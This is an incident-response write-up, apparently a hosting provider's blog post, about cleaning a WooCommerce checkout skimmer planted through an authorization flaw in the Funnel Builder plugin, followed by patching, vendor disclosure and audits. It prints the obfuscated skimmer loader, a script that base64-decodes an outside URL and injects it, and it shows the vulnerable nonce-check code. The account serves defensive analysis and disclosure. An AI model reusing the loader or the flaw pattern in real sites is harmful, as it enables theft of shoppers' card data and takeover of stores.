An email landed in my inbox at 6:29 PM on a Tuesday. My customer had forwarded it from SecurityMetrics, whose Shopping Cart Monitor service had caught a script running on the checkout page of customer-1-fake.com. The subject line was “Urgent: Shopping Cart Monitor Web Skimmer Detected” and the body said it was an active credit card skimmer.
The customer asked one question. Is this real?
It was. SecurityMetrics had hit the checkout page, submitted a test card, watched the form replace itself with a near-identical second form, and captured a WebSocket request flying out to wss://wordpressws.com/ws with an encrypted payload. They even pointed me at line 2709 of the checkout page where the loader script was hiding, masquerading as a Google Tag Manager fragment.
This is the second credit card skimmer I have personally cleaned. These are no joke and I dropped everything to dig in deep. These things are pure evil and can absolutely not happen. So I spent a large portion of my Claude Code budget on it before I was satisfied. I should not admit this to my customers, but I absolutely love investigating malicious activity.
The script was hiding in plain sight at line 2709.
I opened the rendered checkout HTML and scrolled to the cited line. The skimmer was wrapped in a fake Google Tag Manager comment, sitting in the footer where any plugin might inject analytics:
<!-- Google Tag Manager (noscript) -->
<script>
var s = document.createElement('script');
s.src = atob('aHR0cHM6Ly9zb2NrZXR3cy5jb20vanF1ZXJ5L2pxdWVyeS5taW4uanM=');
document.head.appendChild(s);
</script>
The base64 string decodes to https://socketws.com/jquery/jquery.min.js. That file is the skimmer. It opens a WebSocket to wss://wordpressws.com/ws, sends a handshake with the host name, waits a moment, then replaces the live Braintree credit card iframe with a lookalike form it controls. Every keystroke into that form streams back to the attacker over the WebSocket.
Braintree was the only payment method on this store that rendered a card form on the merchant page. That meant Braintree was the only payment method in the blast radius. Stripe and PayPal customers were safe. Anyone who paid with a card during the window was not.
The injection lived in a WordPress option, not a file.
The first thing I did was grep the codebase for the payload domain. Nothing. No files contained the skimmer. The script tag was being printed live from somewhere else.
I followed the rendered HTML upward and found the source. It was a single WordPress option:
SELECT option_value FROM wp_options
WHERE option_name = '_wfacp_global_settings';
Inside that serialized array was a key called wfacp_global_external_script. That key was being echoed unescaped in the checkout footer by Funnel Builder, the plugin that powers the checkout flow. The feature exists for legitimate reasons. Store owners use it to inject pixels, A/B test scripts, or third-party tag managers. But the field accepts raw HTML, no filtering, no sanitization.
Whoever could write to that option owned the checkout page.
The gate said “admin only” and let everyone in.
The handler that writes the option lives in Funnel Builder Pro. The author wrote a shared nonce-check function and passed a flag to mean “this endpoint is admin only.” The flag worked exactly backwards.
Here is the inverted logic, simplified:
public function check_nonce( $admin = false ) {
if ( $admin ) {
// Intended: require admin nonce AND admin capability.
// Actual: accept ANY valid nonce, including a customer nonce.
if ( wp_verify_nonce( $_REQUEST['security'], 'wfacp-admin' )
|| wp_verify_nonce( $_REQUEST['security'], 'wfacp-frontend' ) ) {
return true;
}
}
return wp_verify_nonce( $_REQUEST['security'], 'wfacp-frontend' );
}
The intent was clear. The author wanted $admin = true to be the strict path and $admin = false to be the lenient path. Instead, both branches accepted the frontend (customer) nonce. A logged-in customer with nothing more than a free account could trigger any of the 19+ admin AJAX handlers that called this function. One of those handlers writes the global settings array. That array contains wfacp_global_external_script.
This was a previously unknown bug. I checked the public CVE databases. Patchstack had no record of it. Wordfence had no record of it. The plugin authors had no record of it. It had simply been sitting there.
While I was hunting the root cause, I audited every other plugin on the site.
I had a theory and a payload location. I did not yet have proof that Funnel Builder was the only way in. So I did the thing that uses the most tokens and finds the most truth. I audited every plugin on the site that had not already been audited.
This site had 85 active plugins. 32 of them had already been line-by-line audited through WP Registry, a security finder service I run that fingerprints WordPress components and tracks their audit status. That left 53 plugins unaudited and 2 custom themes that exist only on this one site. The custom themes are the highest-risk surface because nobody else has ever looked at them.
I dispatched a WP Registry audit wave against the remaining components. Every PHP file in every unaudited plugin and theme read line by line by a fresh Claude Opus 4.7 agent. No grep shortcuts. No pattern matching. Full reads, every file, every line.
The audit came back hours later. Every custom theme was clean. The rest of the unaudited plugins were either clean or surfaced low-severity issues that did not match the attack pattern. Two findings stood out. Both were in the FunnelKit checkout stack. Both were critical. Both were the same bug expressed two different ways.
The free funnel-builder plugin had its own path to the same payload location through a different AJAX handler with a method-exists-only guard. The Pro plugin had the inverted-nonce flaw above. Two vectors, one option, one skimmer.
That was the moment I knew I had the full picture.
The same attackers were also running a stolen card checker against the store.
While I was tracing the skimmer, I started watching the order log. Something was off. Small orders were arriving in rapid bursts. Same product, different customer emails, declined cards, then another wave, then another.
This was not the skimmer. This was the checker.
The same operators were using the checkout form as a free card-validation service. Stolen card numbers go in. If Braintree accepts the auth, the card is “live” and worth selling on. If Braintree declines, the card is dead. Either way the attacker walks away with a verdict, and the merchant eats the gateway fees, the chargebacks, and the gateway risk score hit.
I planted an mu-plugin on the site to detect and block the most obvious checker patterns. Rapid retries from the same IP. Unusual ratios of decline-to-success. New-customer-only purchases of small-value items in sequence. The mu-plugin logs and refuses the request before it ever reaches Braintree.
I patched both plugins, pushed them through WP Registry, deployed them in minutes.
I wrote the patch for Funnel Builder Pro first. The fix splits the two branches of check_nonce() so that the admin path hard-requires the admin nonce and the checkout-write capability, with no fall-through to the customer nonce. I added a defense-in-depth manage_options check inside the global settings writer for good measure. Then I patched the free Funnel Builder plugin to close the parallel vector.
Both patched zips went into WP Registry, were assigned patch IDs and deployed. Homepage, shop, cart, checkout, and my-account all returned 200. The patched version string showed up in the WordPress admin. The wfacp_global_external_script option was empty. The skimmer was gone and the door was locked.
I sent the writeup to FunnelKit and the patches shipped within days.
Vendor disclosure was the easy part. I drafted a writeup that included the inverted-nonce snippet, a working proof-of-concept showing how a customer-level account plants the skimmer, a recorded PoC video walking through the exploit on a clean local install, and the unmodified vendor zip so the receiving team could reproduce in a sandbox.
FunnelKit took the writeup and shipped patches for both the free and the Pro plugin shortly after. The fix in their tree matched the structure of the patch I had already deployed on the site. No back and forth. No “we cannot reproduce.” Just a vendor who treated the report as work to be done and did it. My patched versions successfully updated to the vendor’s patched versions.
The CVE process took longer than the fix did.
In parallel I tried to do what I thought a responsible reporter does. I filed two vulnerability reports with Patchstack so the bug would end up in the CVE database and on the virtual-patching feeds that hosts and firewalls subscribe to.
That part did not go well.
- The first report, for the free plugin, came back marked duplicate. Someone else had apparently already reported it. Fine.
- The second report, for the Pro plugin, came back needing more proof because the triage team could not reproduce the exploit from my writeup.
- I spun up a clean local environment, installed the plugin at the audited version, recorded a screencast of the exploit firing end to end, and submitted a third report.
- By the time that third submission was in the queue, the vendor had already shipped both patches upstream.
The next morning I gave up. I emailed Patchstack at 9:05 AM and told them to ignore my report. The vendor had patched everything. I had spent more time on the disclosure paperwork than I had spent on the original bug. I had no desire to do the bug bounty.
At 9:08 AM, three minutes later, Patchstack replied. They had validated the report.
I opted out of the process at exactly the moment the process opted me in. There is something almost perfect about the timing. The pitch for the paid bounty platform landed in my inbox three minutes after I told them I did not want the bounty.
I do not think this is a problem with Patchstack specifically. I think the bigger thing is structural. AI tooling has flattened the cost of finding this class of bug. The detect-and-patch loop can now be closed in hours by someone who is not a full-time vulnerability researcher. The disclosure infrastructure was built when CVEs were scarce because researchers were scarce. That assumption is breaking, and the rails have not caught up.
The report did go through Patchstack. It will probably be the last one I file there. My work makes more sense as a direct loop. Find the bug. Patch it on the site. Hand it to the plugin author. And if the story needs an audience, a blog post on anchor.host does more for other defenders than a CVE record sitting in a database. The responsible part of disclosure, which is the private report and the wait for the vendor, was already done two days ago.
While I was resubmitting to Patchstack, the plugin author asked me to audit everything else they ship.
The original vulnerability went to FunnelKit through their support desk, dressed up as the most polite security report I could write. That ticket caught the eye of one of their leads. He emailed me directly, said the team was already on the fix, and asked if I offered a full plugin security audit as a paid service. Or knew someone who did.
He sent seven plugin slugs. I expanded to eleven, picking up the related free plugins in the same family. Then I ran the full WP Registry audit wave across every one of them. Same playbook as the unaudited-plugin sweep from earlier in this story. Every PHP file in every plugin read line by line by a fresh agent. No grep shortcuts. Patches drafted as git diffs for everything critical or high.
The critical sat in the Square payment gateway plugin. A REST webhook endpoint had a permission callback that returned true with no signature verification. Anyone on the internet could call it and mark orders as paid. The eight high-severity findings were almost all the same family of problem expressed in different files. Nonce-only authorization with no capability check. A subscriber-level account could overwrite credentials, clone private posts, plant tracking pixels site-wide, or seed stored XSS into admin screens. None of these were exotic. They were just sitting there, the same way the inverted-nonce flaw had been sitting there in the checkout plugin.
I sent the full report and the per-finding git diffs back to FunnelKit the same day. They passed it to their technical team for review and asked me for zips of their premium plugins next. That audit will run when the files arrive.
The final exposure numbers came from the WooCommerce order log, not from a guess.
Once the site was patched, I went back to the order data to put a number on the damage. The skimmer payload server first came online roughly 30 hours before the SecurityMetrics email arrived. I pulled every order placed in that window that used Braintree as the payment method.
I am still scanning older database backups to confirm these are the final numbers. So far every earlier snapshot has come back clean of the payload. The 30-hour window looks like the full window. The real window was potentially smaller.
My homepage script monitor would have missed this. So the monitor is changing.
Anchor Hosting runs a daily check on every site I manage. It captures the rendered homepage, diffs it against yesterday, and flags any new external script. That detector is how I caught a sports widget supply-chain attack a few weeks back. It is fast, it is cheap, and it works.
It would have missed this one entirely.
This skimmer never touched the homepage. The injection was scoped to one page. The checkout. Of course it was. That is where the card forms live. The homepage was the worst place to look. The checkout was the only place worth looking.
So the detector is getting extended. Starting this week, the daily capture also runs against the cart page and the checkout page for every WooCommerce site I manage. Same diff. Same flag-on-new-external-script logic. Just three pages instead of one.
What the attackers actually got.
Over a 30-hour window, the attackers captured a confirmed 139 Braintree card submissions worth roughly ten thousand dollars in transaction value. They also ran an unknown number of stolen-card checks against the same gateway before I blocked them. Braintree is responsible for the tokenized vault and the issuing banks will eat the fraudulent downstream charges. I have handed the affected order ID list to the customer for breach response.
The attackers also got one more thing. They got their previously unknown plugin vulnerability burned. The exploit they used to plant the skimmer is patched on this site, shipped upstream by FunnelKit, and on its way to a CVE record through other channels. They also accidentally kicked off a full audit of every other plugin that vendor ships on wp.org. Forty-three more findings are now in the vendor’s hands as git diffs. Nine of them are critical or high.
That is the only thing they walked away with that they did not already have. And honestly, given how much I enjoyed the chase, the trade feels fine.
Zero days used to be held. Now they are burned.
There was a time when a fresh, previously unknown vulnerability in a popular plugin would sit unused for months. Held by a patient, well-resourced operator. Saved for one coordinated strike against the most valuable targets they could line up. A burned zero day is one less round in the chamber, and the people who hoarded them knew it.
That is not the regime we are in anymore. AI tooling has flattened the cost of writing an exploit the same way it has flattened the cost of writing an audit. Smaller, less organized operators can now find and weaponize bugs they could not have touched two years ago. So they do. Often clumsily. Against a single mid-sized merchant. Over a single 30-hour window. With none of the discipline required to keep the bug quiet long enough to use it twice.
For defenders this is the better world. The hoarders had time on their side. The fumblers do not. Every time an inexperienced attacker burns a zero day on one store, somebody like me notices, patches, and ships the fix upstream. The vulnerability gets retired. The vendor gets stronger. The next attacker pays the cost of finding something new. The easier offense gets, the more impatient attackers there are to expose the holes, and the faster the ecosystem learns.